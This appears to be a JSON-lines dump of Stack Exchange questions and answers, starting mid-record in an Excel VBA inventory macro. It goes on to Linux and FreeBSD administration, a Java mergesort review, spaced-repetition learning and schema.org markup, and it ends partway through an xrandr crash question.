strformula(6).Range(I51:I108).FillDown.Range(J51).formula = strformula(7).Range(J51:J108).FillDownEnd WithCall SpeedDownEnd SubSub WeeklySalesHistory()'This code will take all of the valuse returned in the prior code and add them together. This will give the user the total sales of a product for a given week.Call SpeedUpWorksheets(Inventory).Range(K51).formula = =SUM(D51:J51)Range(K51:K108).FillDownCall SpeedDownEnd SubSub TopDaysoftheWeek()'This code will bring up the days of the week for three weeks. Starts with Sunday and ends with Saturday. First formula finds the Sunday, the other formulas just adds 1 to the day.Call SpeedUpWorksheets(Inventory).Range(C8).formula = =TODAY()-WEEKDAY(TODAY(),2)Worksheets(Inventory).Range(D8).formula = =C8+1Range(D8:W8).FillRightCall SpeedDownEnd SubSub InventoryInfo()'This code runs vlookups on the inputted SKU number to pull up corresponding information. If the cell is blank, it will tell the user what will come up. If there is an error, it will reflect that.Call SpeedUpWorksheets(Inventory).Range(B6).formula = =IF(ISBLANK($M$3),SKU Number,INDEX(ItemMaster!$B:$B,MATCH(Inventory!$M$3,ItemMaster!$B:$B,0)))Worksheets(Inventory).Range(C6).formula = =IF(ISBLANK($M$3),Product Name,IF(ISTEXT(INDEX(ItemMaster!$D:$D,MATCH(Inventory!$M$3,ItemMaster!$B:$B,0))),INDEX(ItemMaster!$D:$D,MATCH(Inventory!$M$3,ItemMaster!$B:$B,0)),INDEX(ItemMaster!$C:$C,MATCH(Inventory!$M$3,ItemMaster!$B:$B,0))))Worksheets(Inventory).Range(F6).formula = =IF(ISBLANK($M$3),Pieces Per Case in,INDEX(ItemMaster!$I:$I,MATCH(Inventory!$M$3,ItemMaster!$B:$B,0)))& piecesWorksheets(Inventory).Range(I6).formula = =IF(ISBLANK($M$3),Pieces Per Case in ,(ROUND(INDEX(ItemMaster!$J:$J,MATCH(Inventory!$M$3,ItemMaster!$B:$B,0))*35.274,2)))& OzWorksheets(Inventory).Range(L6).FormulaArray = =IF(ISBLANK($M$3),Date of Last Run,MAX(IF(Production!$H:$H=Inventory!$M$3,Production!$N:$N)))Worksheets(Inventory).Range(N6).formula = =IF(ISBLANK($M$3),Line of Last Run,INDEX(Production!$E:$E,MATCH(Inventory!$M$3,Production!$H:$H,0)))Worksheets(Inventory).Range(P6).formula = =IF(ISBLANK($M$3),Allergen Codes,Codes: &$AI$5)Worksheets(Inventory).Range(Q6).formula = =IF(ISBLANK($M$3),,$AI$6)Worksheets(Inventory).Range(R6).formula = =IF(ISBLANK($M$3),,$AI$7) Worksheets(Inventory).Range(S6).formula = =IF(ISBLANK($M$3),,$AI$8)Worksheets(Inventory).Range(T6).formula = =IF(ISBLANK($M$3),,$AI$9)Worksheets(Inventory).Range(U6).formula = =IF(ISBLANK($M$3),,$AI$10)Worksheets(Inventory).Range(V6).formula = =IF(ISBLANK($M$3),,$AI$11)Worksheets(Inventory).Range(W6).formula = =IF(ISBLANK($M$3),,$AI$12)Worksheets(Inventory).Range(E10).formula = =IF(ISBLANK($M$3),Cases Per Dough,IF(ISNA(VLOOKUP(NUMBERVALUE($M$3),CPD!$A$1:$D$381,2,FALSE)),0,VLOOKUP(NUMBERVALUE($M$3),CPD!$A$1:$D$381,2,FALSE)))Worksheets(Inventory).Range(J10).formula = =IF(ISBLANK($M$3),Lines Product Was Run On,Lines: &$AO$5)Worksheets(Inventory).Range(K10).formula = =IF(ISBLANK($M$3),,IF(OR(ISERR(AO6),ISNA(AO6)),,AO6))Worksheets(Inventory).Range(L10).formula = =IF(ISBLANK($M$3),,IF(OR(ISERR(AO7),ISNA(AO7)),,AO7))Worksheets(Inventory).Range(M10).formula = =IF(ISBLANK($M$3),,IF(OR(ISERR(AO8),ISNA(AO8)),,AO8))Worksheets(Inventory).Range(N10).formula = =IF(ISBLANK($M$3),,IF(OR(ISERR(AO9),ISNA(AO9)),,AO9))Worksheets(Inventory).Range(O10).formula = =IF(ISBLANK($M$3),Average Cases Sold Per Week, SUM(K56:K67)/12)Worksheets(Inventory).Range(R10).formula = =IF(ISBLANK($M$3),Average Cases Sold Per Day, $O$10/7)Worksheets(Inventory).Range(U10).formula = =IF(ISBLANK($M$3),Days of Inventory Remaining,(INDEX(Inventori!$F:$F,MATCH(Inventory!$M$3,Inventori!$B:$B,0)))/R10)Call SpeedDownEnd SubSub HiddenFormulas()'This code runs some of the hidden formulas used to calculate and find factors for the inventory screen. The user will not be allowed to see or interact with them.Call SpeedUpWorksheets(Inventory).Range(AF5).formula = =INDEX(ItemMaster!$K:$K,MATCH($M$3,ItemMaster!$B:$B,0))Worksheets(Inventory).Range(AF6).formula = =INDEX(ItemMaster!$L:$L,MATCH($M$3,ItemMaster!$B:$B,0))Worksheets(Inventory).Range(AF7).formula = =INDEX(ItemMaster!$M:$M,MATCH($M$3,ItemMaster!$B:$B,0))Worksheets(Inventory).Range(AF8).formula = =INDEX(ItemMaster!$N:$N,MATCH($M$3,ItemMaster!$B:$B,0))Worksheets(Inventory).Range(AF9).formula = =INDEX(ItemMaster!$O:$O,MATCH($M$3,ItemMaster!$B:$B,0))Worksheets(Inventory).Range(AF10).formula = =INDEX(ItemMaster!$P:$P,MATCH($M$3,ItemMaster!$B:$B,0))Worksheets(Inventory).Range(AF11).formula = =INDEX(ItemMaster!$Q:$Q,MATCH($M$3,ItemMaster!$B:$B,0))Worksheets(Inventory).Range(AF12).formula = =INDEX(ItemMaster!$R:$R,MATCH($M$3,ItemMaster!$B:$B,0))Worksheets(Inventory).Range(AI5).formula = =IF($AF$5=X,O,)Worksheets(Inventory).Range(AI6).formula = =IF(AF6=X,A,)Worksheets(Inventory).Range(AI7).formula = =IF(AF7=X,B,)Worksheets(Inventory).Range(AI8).formula = =IF(AF8=X,C,)Worksheets(Inventory).Range(AI9).formula = =IF(AF9=X,AB,)Worksheets(Inventory).Range(AI10).formula = =IF(AF10=X,AC,)Worksheets(Inventory).Range(AI11).formula = =IF(AF11=X,BC,)Worksheets(Inventory).Range(AI12).formula = =IF(AF12=X,ABC,)Worksheets(Inventory).Range(AL5).FormulaArray = =INDEX(Production!$E:$E, SMALL(IF(Inventory!$M$3=Production!$H:$H, ROW(Production!$H:$H)-ROW($A$1)+1), ROW(1:1)))Range(AL5:AL554).FillDownWorksheets(Inventory).Range(AO5).FormulaArray = =INDEX($AL$5:$AL$554, MATCH(0, COUNTIF($AO$4:AO4,$AL$5:$AL$554), 0))Worksheets(Inventory).Range(AO6).FormulaArray = =INDEX($AL$5:$AL$554, MATCH(0, COUNTIF($AO$4:AO5,$AL$5:$AL$554), 0))Worksheets(Inventory).Range(AO7).FormulaArray = =INDEX($AL$5:$AL$554, MATCH(0, COUNTIF($AO$4:AO6,$AL$5:$AL$554), 0))Worksheets(Invnetory).Range(AO8).FormulaArray = =INDEX($AL$5:$AL$554, MATCH(0, COUNTIF($AO$4:AO7,$AL$5:$AL$554), 0))Worksheets(Inventory).Range(AO9).FormulaArray = =INDEX($AL$5:$AL$554, MATCH(0, COUNTIF($AO$4:AO8,$AL$5:$AL$554), 0))Call SpeedDownEnd SubSub BottomDaysoftheWeek()'This code runs with TopDaysoftheWeek. Thile that code will pull up the date of each day, this code will convert that into the name of the day.Call SpeedUpWorksheets(Inventory).Range(C9).formula = =TEXT(C8,ddd)Range(C9:W9).FillRightCall SpeedDownEnd SubSub SalesHistoryByMonth()'This code finds the months for Sales History. It will find the month ahead of the current month all the way until a year prior.Call SpeedUpWorksheets(Inventory).Range(L51).formula = =EOMONTH(TODAY(),0)+1Worksheets(Inventory).Range(L53).formula = =EOMONTH(TODAY(),-1)+1Worksheets(Inventory).Range(L55).formula = =EOMONTH(TODAY(),-2)+1Worksheets(Inventory).Range(L57).formula = =EOMONTH(TODAY(),-3)+1Worksheets(Inventory).Range(L59).formula = =EOMONTH(TODAY(),-4)+1Worksheets(Inventory).Range(L61).formula = =EOMONTH(TODAY(),-5)+1Worksheets(Inventory).Range(L63).formula = =EOMONTH(TODAY(),-6)+1Worksheets(Inventory).Range(L65).formula = =EOMONTH(TODAY(),-7)+1Worksheets(Inventory).Range(L67).formula = =EOMONTH(TODAY(),-8)+1Worksheets(Inventory).Range(L69).formula = =EOMONTH(TODAY(),-9)+1Worksheets(Inventory).Range(L71).formula = =EOMONTH(TODAY(),-10)+1Worksheets(Inventory).Range(L73).formula = =EOMONTH(TODAY(),-11)+1Worksheets(Inventory).Range(L75).formula = =EOMONTH(TODAY(),-12)+1Worksheets(Inventory).Range(L77).formula = =EOMONTH(TODAY(),-13)+1Call SpeedDownEnd SubSub SalesHistoryWeeks()'This code finds the weeks of sales history. The first formula takes the first date of the inventory section and adds 6 weeks to it. The following formula just decreases the week by a week until the end of the table.Call SpeedUpWorksheets(Inventory).Range(B51).formula = =(C8+42)-WEEKDAY(C8,3)Worksheets(Inventory).Range(B52).formula = =B51-7Range(B52:B108).FillDownCall SpeedDownEnd SubSub SalesHistoryMonthlyCalculations()'This code calculates the sales history by month. It works by adding together all of the weekly sales history to the left of these formulas based on if the weeks are within the corresponding month. This formula is a little iffy, where it works on a beginning of the week basis (i.e. 5/28-6/4 counts as May, not May and June). Aside form that, works really well. May need to rework this formula.Call SpeedUpWorksheets(Inventory).Range(L52).formula = =SUMIFS(K51:K108,B51:B108,>=&L51,B51:B108,<=&EOMONTH(L51,0))Worksheets(Inventory).Range(L54).formula = =SUMIFS(K51:K108,B51:B108,>=&L53,B51:B108,<=&EOMONTH(L53,0))Worksheets(Inventory).Range(L56).formula = =SUMIFS(K51:K108,B51:B108,>=&L55,B51:B108,<=&EOMONTH(L55,0))Worksheets(Inventory).Range(L58).formula = =SUMIFS(K51:K108,B51:B108,>=&L57,B51:B108,<=&EOMONTH(L57,0))Worksheets(Inventory).Range(L60).formula = =SUMIFS(K51:K108,B51:B108,>=&L59,B51:B108,<=&EOMONTH(L59,0))Worksheets(Inventory).Range(L62).formula = =SUMIFS(K51:K108,B51:B108,>=&L61,B51:B108,<=&EOMONTH(L61,0))Worksheets(Inventory).Range(L64).formula = =SUMIFS(K51:K108,B51:B108,>=&L63,B51:B108,<=&EOMONTH(L63,0))Worksheets(Inventory).Range(L66).formula = =SUMIFS(K51:K108,B51:B108,>=&L65,B51:B108,<=&EOMONTH(L65,0))Worksheets(Inventory).Range(L68).formula = =SUMIFS(K51:K108,B51:B108,>=&L67,B51:B108,<=&EOMONTH(L67,0))Worksheets(Inventory).Range(L70).formula = =SUMIFS(K51:K108,B51:B108,>=&L69,B51:B108,<=&EOMONTH(L69,0))Worksheets(Inventory).Range(L72).formula = =SUMIFS(K51:K108,B51:B108,>=&L71,B51:B108,<=&EOMONTH(L71,0))Worksheets(Inventory).Range(L74).formula = =SUMIFS(K51:K108,B51:B108,>=&L73,B51:B108,<=&EOMONTH(L73,0))Worksheets(Inventory).Range(L76).formula = =SUMIFS(K51:K108,B51:B108,>=&L75,B51:B108,<=&EOMONTH(L75,0))Worksheets(Inventory).Range(L78).formula = =SUMIFS(K51:K108,B51:B108,>=&L77,B51:B108,<=&EOMONTH(L77,0))Call SpeedDownEnd SubSub ProductionHistoryInfo()'This code is all of the formulas regarding Production History. Finds Cases, Doughs, and Line product was run on. Also has the yield formulas (cases/doughs).Call SpeedUpWorksheets(Inventory).Range(Q52).FormulaArray = =IF(OR(($O52)=,$O52=DATE(1900,1,0)),,INDEX(Production!$R:$R,MATCH(CONCATENATE(Inventory!$O52,Inventory!$M$3),Production!$B:$B,0)))Range(Q52:Q104).FillDownWorksheets(Inventory).Range(R52).formula = 0Range(R52:R104).FillDownWorksheets(Inventory).Range(S52).FormulaArray = =IF(OR(($O52)=,$O52=DATE(1900,1,0)),,INDEX(Production!$E:$E,MATCH(CONCATENATE(Inventory!$O52,Inventory!$M$3),Production!$B:$B,0)))Range(S52:S104).FillDownWorksheets(Inventory).Range(T52).formula = =IF(ISERR(Q52/R52),,Q52/R52)Range(T52:T104).FillDownCall SpeedDownEnd SubSub ProductionHistoryDates()'This code finds the dates that a given product was run on. Uses an array function to look up dates of production based on matching SKU numbers. Most volatile function in this section. Can only lookup/match up to 20,000 values, which could be problematic. May need some editing done based on how actual tables are set up. Goes from oldest to newest, which may also be a problem.Call SpeedUpWorksheets(Inventory).Range(O52).FormulaArray = =IFERROR(OFFSET(Production!$H$1:$H$100000,SMALL(IF(Production!$H$1:$H$100000=Inventory!$M$3,ROW(Production!$H$1:$H$100000)-ROW(INDEX(Production!$H$1:$H$100000,1,1))),ROW()-51),COLUMN()-9),)Range(O52:O104).FillDownCall SpeedDownEnd SubSub BorderFixer()'This code was created after I discovered that some of these vba formulas will break the borders I made after running. Its only purpose is to fill in those broken borders and fix them to look like how they looked before. With Worksheets(Inventory).Range(W10).Borders(xlEdgeBottom).LineStyle = xlContinuous.Weight = xlThin.ColorIndex = 2End With   With Worksheets(Inventory).Range(W7:W43).Borders(xlEdgeRight)  .LineStyle = xlContinuous  .Weight = xlThin  .ColorIndex = 2   End With   With Worksheets(Inventory).Range(B108:K108).Borders(xlEdgeBottom)  .LineStyle = xlContinuous  .Weight = xlThin  .ColorIndex = 2  End With With Worksheets(Inventory).Range(K108).Borders(xlEdgeRight) .LineStyle = xlContinuous .Weight = xlThin .ColorIndex = 2 End With End SubSub ResetInventory()'This code is made to run only if the user manages to unlock all of the cells on this sheet and start deleting the formulas I added. Once clicked, this code will: deactivate all of Excel's functions, run all of the prior codes related to inventory, run the border fixer to repair broken borders, and reactivate Excel's functions. While it runs fast and effectively, has a chance to break the worksheet. If so, click fix frozen cells. Will return error if the user tries to run this while sheets are protected. Call SpeedUp Call InventoryInfo Call TopDaysoftheWeek Call BottomDaysoftheWeek Call SumIfSales Call SumIfMovement Call SumIfProduction Call FillInventoryPerLocation Call FillInventoryAcross Call BorderFixer Call CPD Call SpeedDown End SubSub ResetSalesHistory()'This code is made to run only if the user manages to unlock all of the cells on this sheet and start deleting the formulas I added. Once clicked, this code will: deactivate all of Excel's functions, run all of the prior codes related to sales history, run the border fixer to repair broken borders, and reactivate Excel's functions. While it runs fast and effectively, has a chance to break the worksheet. If so, click fix frozen cells. Will return error if the user tries to run this while sheets are protected.Call SpeedUpCall SalesHistoryWeeksCall DailySalesHistoryCall WeeklySalesHistoryCall SalesHistoryByMonthCall SalesHistoryMonthlyCalculationsCall BorderFixerCall SpeedDownEnd SubSub ResetProductionHistory()'This code is made to run only if the user manages to unlock all of the cells on this sheet and start deleting the formulas I added. Once clicked, this code will: deactivate all of Excel's functions, run all of the prior codes related to production history, run the border fixer to repair broken borders, and reactivate Excel's functions. While it runs fast and effectively, has a chance to break the worksheet. If so, click fix frozen cells. Will return error if the user tries to run this while sheets are protected.Call SpeedUpCall ProductionHistoryDatesCall ProductionHistoryInfoCall BorderFixerCall SpeedDownEnd SubSub InventoryPrintPreview()'This code is made to show the users a print preview of what the worksheet will look like. I already made the print areas for the three tables on this sheet. User can change margins or format.Application.ExecuteExcel4Macro SHOW.TOOLBAR(Ribbon,True)Application.DisplayFormulaBar = TrueActiveWindow.DisplayWorkbookTabs = TrueWorksheets(Inventory).PrintPreviewApplication.ExecuteExcel4Macro SHOW.TOOLBAR(Ribbon,False)Application.DisplayFormulaBar = FalseActiveWindow.DisplayWorkbookTabs = FalseEnd Sub"  , "title": "Speeding Up My Current Code Inventory Management Planning Screen"  , "tags": "performance;vba;excel"  } 
{  "id": "_unix.172159"  , "question": "In Debian, how can I tell initramfs not to request an IP address via DHCP?  I'm using initramfs-tools.  I'd be okay with assigning a static IP address for the initramfs, but I can't find how to set that either.  I saw in the manual page initramfs-tools(8) the ip parameter, but I don't know where to specify it.Update: ip is not being passed as a kernel command line parameter:cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-3.16-3-amd64 root=/dev/mapper/root-root_vol ro root=/dev/mapper/root-root_vol ro rootdelay=10I watched it boot and the dhcp is definitely happening after the initramfs starts."  , "title": "disable dhcp in initramfs"  , "tags": "debian;networking;ip;initramfs"  } 
{  "id": "_unix.276954"  , "question": "The Porters Handbook says in 5.12.1.3. Default Options that DOCS, NLS, and EXAMPLES are on by default for all ports. I want them off, so I have to unchecked them manually during make config-recursive for every port. How can I set them off by default?"  , "title": "Turn DOCS, NLS, and EXAMPLES options off by default for all FreeBSD ports"  , "tags": "freebsd;make;bsd ports"  , "accepted_answer": "You can use make.conf. See an old announce:The following variables can be used in make.conf to configure options.They are processed in the order listed below, i.e. later variablesoverride the effects of previous variables.  Options saved using theoptions dialog are processed right before OPTIONS_SET_FORCE.OPTIONS_SET     - List of options to enable for all ports.OPTIONS_UNSET       - List of options to disable for all ports. ${UNIQUENAME}_SET   - List of options to enable for a specific port.${UNIQUENAME}_UNSET - List of options to disable for a specific port.OPTIONS_SET_FORCE   - List of options to enable for all ports.OPTIONS_UNSET_FORCE - List of options to disable for all ports.${UNIQUENAME}_SET_FORCE - List of options to enable for a specific port.${UNIQUENAME}_UNSET_FORCE            - List of options to disable for a specific port.To know the UNIQUENAME of a port you can run make -V UNIQUENAME ina port directory.An example configuration is given below.OPTIONS_SET=    NLS # enable NLS for all ports unless configured            # otherwise using the option dialogOPTIONS_UNSET=  DOCS    # aka NOPORTDOCS# configuration for xorg-server overriding the configuration from the# option dialogxorg-server_SET_FORCE=  AIGLXxorg-server_UNSET_FORCE=HAL SUID"  } 
{  "id": "_codereview.149567"  , "question": "I'd like to know if the following code is a good implementation of MergeSort? I tried some examples and the code was right, so I guess that the algorithm works correctly.public static int[] myMerge (int[] array, int[] array2){    int[] giveback = new int[array.length + array2.length];    int i = 0;     int j = 0;     for (int x = 0; x < giveback.length; x++){        if (array[i] >= array2[j]){            giveback[x] = array2[j];            j++;        }        else{            giveback[x] = array[i];            i++;        }        if (i == array.length){            x++;            for(int c = j; c < array2.length; c++){                giveback[x] = array2[c];                x++;                }            return giveback;        }        if (j == array2.length){            x++;            for (int b = i; b < array.length; b++){                giveback[x] = array[b];                x++;            }            return giveback;        }    }           return giveback;}public static int[] myMergeSort (int[] array){    if (array.length <= 1 ){        return array;    }    if (array.length % 2 == 0){        int[] right = new int[array.length/2];        int[] left = new int[array.length/2];        int counter = 0;        for (int i = 0; i < array.length/2; i++){            left[i] = array[i];        }        for (int j = array.length/2; j < array.length; j++){            right[counter] = array[j];            counter++;        }        return myMerge(myMergeSort(right),myMergeSort(left));    }    else{        int[] right = new int[array.length/2];        int[] left = new int[array.length/2];        int counter2 = 0;        for(int i = 0; i < array.length/2 +1; i++){            left[i] = array[i];        }        for(int j = array.length/2 +1; j < array.length; j++){            right[counter2]=array[j];            counter2++;        }        return myMerge(myMergeSort(right),myMergeSort(left));    }}"  , "title": "Implementation of mergesort in Java"  , "tags": "java;sorting;mergesort"  } 
{  "id": "_unix.319315"  , "question": "How could I use something like sed to split a file into two so the file containingeric    shwartzdavid    snyderwhere the 4 spaces between entries are actually tabs into two files such as:file1:ericdavidfile2:shwartzsnyderSo it puts everything after the tab on each line into another file."  , "title": "splitting a file with lines separated by tabs into two files"  , "tags": "text processing;sed;awk"  , "accepted_answer": "A solution could be:awk '{ print $1 > file1; print $2 > file2}' file "  } 
{  "id": "_unix.341696"  , "question": "On Linux, the load average is the average number of processes that are either runnable or waiting averaged over the past 1, 5 and 15 minutes.On OpenBSD (and possibly other BSDs, but neither the quote nor the context really says), load average is the number of processes which have (wanted to) run at least once in the most recent 5-second window, with a degradation over time.However, I was unable to locate information on how load average is actually defined on FreeBSD.What is the exact meaning of the load average numbers on FreeBSD?"  , "title": "How is load average calculated on FreeBSD?"  , "tags": "freebsd;load average"  } 
{  "id": "_unix.60078"  , "question": "Could you recommend a way to figure out which driver is being used for a USB device.Sort of a usb equivalent of lspci -k command."  , "title": "Find out which modules are associated with a usb device?"  , "tags": "drivers;kernel modules"  , "accepted_answer": "Finding the Kernel Driver(s)The victim device$ lsusb Bus 010 Device 002: ID 046d:c01e Logitech, Inc. MX518 Optical MouseBus 010 Device 003: ID 051d:0002 American Power Conversion Uninterruptible Power SupplyWe're going to try to find out what driver is used for the APC UPS. Note that there are two answers to this question: The driver that the kernel would use, and the driver that is currently in use. Userspace can instruct the kernel to use a different driver (and in the case of my APC UPS, nut has).Method 1: Using usbutils (easy)The usbutils package (on Debian, at least) includes a script called usb-devices. If you run it, it outputs information about the devices on the system, including which driver is used:$ usb-devicesT:  Bus=10 Lev=01 Prnt=01 Port=01 Cnt=02 Dev#=  3 Spd=1.5 MxCh= 0D:  Ver= 1.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs=  1P:  Vendor=051d ProdID=0002 Rev=01.06S:  Manufacturer=American Power ConversionS:  Product=Back-UPS RS 1500 FW:8.g9 .D USB FW:g9 S:  SerialNumber=XXXXXXXXXXXX  C:  #Ifs= 1 Cfg#= 1 Atr=a0 MxPwr=24mAI:  If#= 0 Alt= 0 #EPs= 1 Cls=03(HID  ) Sub=00 Prot=00 Driver=usbfsNote that this lists the current driver, not the default one. There isn't a way to find the default one.Method 2: Using debugfs (requires root)If you have debugfs mounted, the kernel maintains a file in the same format as usb-devices prints out at /sys/kernel/debug/usb/devices; you can view with less, etc. Note that debugfs interfaces are not stable, so different kernel versions may print in a different format, or be missing the file entirely.Once again, this only shows the current driver, not the default.Method 3: Using only basic utilities to read /sys directly (best for scripting or recovery)You can get the information out of /sys, thought its more painful than lspci. These /sys interfaces should be reasonably stable, so if you're writing a shell script, this is probably how you want to do it.Initially, lsusb seems to count devices from 1, /sys from 0. So 10-2 is a good guess for where to find the APC UPS lsusb gives as bus 10, device 3. Unfortunately, over time that mapping breaks downsysfs re-uses numbers even when device numbers aren't. The devnum file's contents will match the device number given by lsusb, so you can do something like this:$ grep -l '^3$' /sys/bus/usb/devices/10-*/devnum     # the ^ and $ to prevent also matching 13, 31, etc./sys/bus/usb/devices/10-2/devnumSo, in this case, it's definitely 10-2.$ cd /sys/bus/usb/devices/10-2$ ls10-2:1.0             bDeviceClass     bMaxPower           descriptors  ep_00         maxchild   remove     urbnumauthorized           bDeviceProtocol  bNumConfigurations  dev          idProduct     power      serial     versionavoid_reset_quirk    bDeviceSubClass  bNumInterfaces      devnum       idVendor      product    speedbcdDevice            bmAttributes     busnum              devpath      ltm_capable   quirks     subsystembConfigurationValue  bMaxPacketSize0  configuration       driver       manufacturer  removable  ueventWe can be sure this is the right device by cating a few of the files:$ cat idVendor idProduct manufacturer product 051d0002American Power ConversionBack-UPS RS 1500 FW:8.g9 .D USB FW:g9 If you look in 10-2:1.0 (:1 is the configuration, .0 the interfacea single USB device can do multiple things, and have multiple drivers; lsusb -v will show these), there is a modalias file and a driver symlink:$ cat 10-2\\:1.0/modalias usb:v051Dp0002d0106dc00dsc00dp00ic03isc00ip00in00$ readlink driver../../../../../../bus/usb/drivers/usbfsSo, the current driver is usbfs. You can find the default driver by asking modinfo about the modalias:$ /sbin/modinfo `cat 10-2\\:1.0/modalias`filename:       /lib/modules/3.6-trunk-amd64/kernel/drivers/hid/usbhid/usbhid.kolicense:        GPLdescription:    USB HID core driverauthor:         Jiri Kosinaauthor:         Vojtech Pavlikauthor:         Andreas Galalias:          usb:v*p*d*dc*dsc*dp*ic03isc*ip*in*depends:        hid,usbcoreintree:         Yvermagic:       3.6-trunk-amd64 SMP mod_unload modversions parm:           mousepoll:Polling interval of mice (uint)parm:           ignoreled:Autosuspend with active leds (uint)parm:           quirks:Add/modify USB HID quirks by specifying  quirks=vendorID:productID:quirks where vendorID, productID, and quirks are all in 0x-prefixed hex (array of charp)So, the APC UPS defaults to the hid driver, which is indeed correct. And its currently using usbfs, which is correct since nut's usbhid-ups is monitoring it.What about userspace (usbfs) drivers?When the driver is usbfs, it basically means a userspace (non-kernel) program is functioning as the driver. Finding which program it is requires root (unless the program is running as your user) and is fairly easy: whichever program has the device file open.We know that our victim device is bus 10, device 3. So the device file is /dev/bus/usb/010/003 (at least on a modern Debian), and lsof provides the answer:# lsof /dev/bus/usb/010/003 COMMAND    PID USER   FD   TYPE   DEVICE SIZE/OFF NODE NAMEusbhid-up 4951  nut    4u   CHR 189,1154      0t0 8332 /dev/bus/usb/010/003And indeed, its usbhid-ups as expected (lsof truncated the command name to make the layout fit, if you need the full name, you can use ps 4951 to get it, or probably some lsof output formatting options)."  } 
{  "id": "_unix.278950"  , "question": "I am creating a crontab that compresses 15 minute clips from my security camera into one file (24 Hours Long) and then having the clips delete.avimerge -o /media/jmartin/Cams/video/Full_$(date +%F --date Yesterday) -i /media/jmartin/Cams/video/$(date +%F --date Yesterday)* # Converts files from the past 24 hours into one .avirm /media/jmartin/Cams/video/$(date +%F --date Yesterday)* # Removes old clips that have already been compressedMy question is What is the danger of using the $date variable. Could something possibly happen where it deletes all files in /video/? What would you recommend as a safer alternative?Example filenames (Yes, those are spaces in the filename):2016-04-25 00:00:01.avi  2016-04-25 00:15:02.avi 2016-04-25 00:30:02.avi  2016-04-25 00:45:01.avi  "  , "title": "Dangers of using rm command with variables"  , "tags": "bash;cron;date;rm"  , "accepted_answer": "Two things jump out:You have no checking for failure of the substitutionThere is a race condition if the date changes between uses of the date command.You could solve them both like this:#/bin/bash# Exit if any command failsset -edir='/media/jmartin/Cams/video'day=$(date +%F --date Yesterday)# Conbine files from the past 24 hours into a single AVI fileavimerge -o $dir/Full_$day -i $dir/$day*# Remove old clips that have already been compressedrm $dir/$day*"  } 
{  "id": "_unix.60181"  , "question": "Short question is: should we always do a yum update --exclude=kernel-* to do an update in Fedora?I was a bit surprised that when I got a new Fedora machine at work (it used to be Red Hat Enterprise Linux (RHEL)), the first time it started up, it asked me to do an update, and I naturally said yes, and for anything it asked, I just used the default answer (usually replying yes by pressing ENTER).But it turned out that the kernel was somehow corrupted, having 3.6.9 and 3.6.10 components, and the machine would not boot up (would cause kernel panic), and had to use the second option to boot up in the boot menu. (the IT department told me it is the last problem-free version, like a checkpoint version).  But even that, the machine was very slow and my coworker told me later on that my kernel was running partly on earlier version and partly running with 3.6.9 or 3.6.10 components and they might not be totally compatible and that's probably why it was so slow.My coworker knew about Fedora for quite a while, and he was able to fix it by doing a series of yum remove and yum downgrade, and making the kernel and header and component all back to an earlier version (I think it was 3.3.4 but I will have to go back to work and check).So is it true that for Fedora, we always have to abort the default update request, and do ayum update --exclude=kernel-*to be safe that we won't get a kernel that is not yet stable or still in beta?  This is somewhat counter-intuitive to me, as I know other update systems would usually use only the stable version, unless the user specifically types in a particular version which might be a beta version.Is there actually a way to update only the stable components, or do we need to use yum update --exclude=kernel-* all the time to be safe?(this was a bit surprising to me, as anybody at work using Fedora can be affected by this, and it could be hundred or even thousands of people, so what is a more correct way of doing the system updates?)"  , "title": "Will Fedora's yum update install a current or beta version of the kernel and cause problems?"  , "tags": "fedora;yum;upgrade"  } 
{  "id": "_cogsci.480"  , "question": "Several apps and sites offer flashcard-based learning that repeat the cards you do poorly on over a period of time (the more inaccurate the answer the closer to each other the repetitions are). One example of this is Super Memo.Is there rigorous empirical support for these types of flashcard systems working?Do they exploit a known function of memory?"  , "title": "Are spaced flashcards effective for learning?"  , "tags": "learning;memory;mnemonic;encoding"  , "accepted_answer": "There's lots of research out there on flash cards and they are a proven, effective study aid.Flash Cards work because of the Forgetting Curve; rehearsal and retrieval before you forget an item strengthens the memory before it decays allowing one to optimize encoding into LTM.The paper Optimising learning using flashcards: Spacing is more effective than cramming is a good summary of why Spacing helps retention, highlighting why it's effective in education and should be emphasized over cramming, which current educational models (finals, tests) currently promote.Spacing is effective for Long Term Memory as opposed to cramming/massing which is only effective (but it IS effective) in the short term as shown by the above forgetting function."  } 
{  "id": "_webmaster.39277"  , "question": "I'm using http://schema.org/MedicalClinic on main page of my client's site. I've filled in as many as I can including address,name, url, image url, geolocation, descripition, opening hours, specialty etc.It's coming up ok when I test it on Richsnippet tool but I don't know what benefits I can get from using it.I don't see anything on the search result pages on Google.What should I expect from it? Would the image show up on the SERP? If so, wouldn't it be similar to what you would get with Publisher meta tag and Google Plus as it also allows you to get Google Plus image appearing on the SERP?"  , "title": "Schema.org MedicalClinic"  , "tags": "seo;google;bing;google plus"  , "accepted_answer": "At the highest level, you should never expect anything, given there's no guarantee that microdata will even be used if discovered. Specific to your question, though, this is not one of the documented suported types, so barring some other specialized search engine, at the moment Google doesn't appear to even be looking for this flavor of microdata, much less giving you any benefits from it."  } 
{  "id": "_webmaster.5165"  , "question": "I am trying to set up a custom search on my site and just for testing was checking out the search API's. The trouble is that the API do give me the valid results and total number of items found etc, however when I try to go to second page of the search they do not provide me with any data. Is it because I  have to pay for the custom search engine? "  , "title": "Paging Google Custom Search via XML"  , "tags": "google"  } 
{  "id": "_unix.237987"  , "question": "I am having an issue that I think is associated with X, xrandr and maybe WM I am using. I am on Debian 8 stable, updated;Intel graphics,i3wm, no DElightDM (not sure if this is relevant, but at some point I thought it might be). I used GDM at the time of the crash, then tried to install lightdm. I don't know the intricacies of authentication of X by the DM.Here is the scenario. I come home and connect my laptop to two monitors (VGA1 and HDMI1) and turn off LVDS1. For that I have a function in .bashrc function duo {    xrandr --output HDMI1 --right-of LVDS1    xrandr --output LVDS1 --off # this is probably bad, but it still works thanks to xrandr    xrandr --output HDMI1 --mode 1280x1024    xrandr --output HDMI1 --right-of VGA1    xrandr --output HDMI1 --rotate left    xrandr --output VGA1 --mode 1280x1024}The function is messy because I was experimenting and trying to break down how xrandr should change layout. This works 100% of the time without issues. When I want to disconnect and go back to laptop mode I pull out both cables and press Super+Shift+F8 which in my i3wm is bound to xrandr --auto, which should disconnect VGA1 and HDMI1 since they are not plugged in anymore and i3wm will move all workspaces to single screen. Sometimes this works, but almost often X server crashes and drops into DM prompting for login. So I lose all of applications open and possibly files (although I am OCD when it comes to saving).Here is a syslog. It starts with a line printed by my script that's bound to Super+Shift+F8 in my i3wm config file. The reason for this shortcut is that I don't have a udev rule for VGA or HDMI. I had a rule that ran a script, but removed it. I can post, but the post 